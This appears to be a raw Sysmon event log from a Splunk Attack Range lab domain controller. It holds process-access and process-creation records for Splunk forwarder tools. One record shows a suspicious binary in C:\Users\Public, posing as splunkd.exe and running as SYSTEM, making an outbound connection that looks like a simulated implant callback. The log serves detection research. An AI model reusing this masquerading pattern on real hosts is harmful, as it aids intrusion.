09:09:38.074{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001953Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.074{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001952Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.074{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001951Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.074{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001950Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.074{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001949Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.074{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001948Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.074{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001947Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.074{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001946Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.074{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-28D2-5F80-5000-000000007F01}4072C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001945Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.074{A5F018FF-28D1-5F80-4B00-000000007F01}38523916C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe{A5F018FF-28D2-5F80-5000-000000007F01}4072C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+4022c|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+403f8|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+404c7|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+40fee|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+13671|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+18192|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+1adfc|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+4cf68|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001944Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.075{A5F018FF-28D2-5F80-5000-000000007F01}4072C:\Program Files\SplunkUniversalForwarder\bin\btool.exe8.0.2btoolsplunk ApplicationSplunk Inc.btool.exe"C:\Program Files\SplunkUniversalForwarder\bin\btool" validate-strptime --log-warningsC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B{A5F018FF-28D1-5F80-4B00-000000007F01}3852C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt 354300x80000000000000001943Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localUsermode2020-10-09 09:09:35.969{A5F018FF-28C4-5F80-2500-000000007F01}3020C:\Users\Public\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-1796611.attackrange.local49685-false10.0.1.12-7010- 10341000x80000000000000002144Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.903{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D3-5F80-5E00-000000007F01}4048C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002143Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.903{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002142Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.903{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002141Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.903{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002140Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.903{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002139Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.903{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002138Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.903{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002137Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.903{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002136Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.903{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002135Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.903{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002134Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.903{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-28D3-5F80-5E00-000000007F01}4048C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002133Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.903{A5F018FF-28CF-5F80-2F00-000000007F01}25283908C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-28D3-5F80-5E00-000000007F01}4048C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7d35e7|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7cdcb9|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca4ec|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca0a3|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7c9f0d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6d7908|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6de2ee|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b29fa|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b4274|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e42dc|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ec682|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e9959|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+d7f31|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002132Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.905{A5F018FF-28D3-5F80-5E00-000000007F01}4048C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinEventLog.cmd" --scheme"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000002131Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.793{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D3-5F80-5D00-000000007F01}3732C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002130Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002129Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 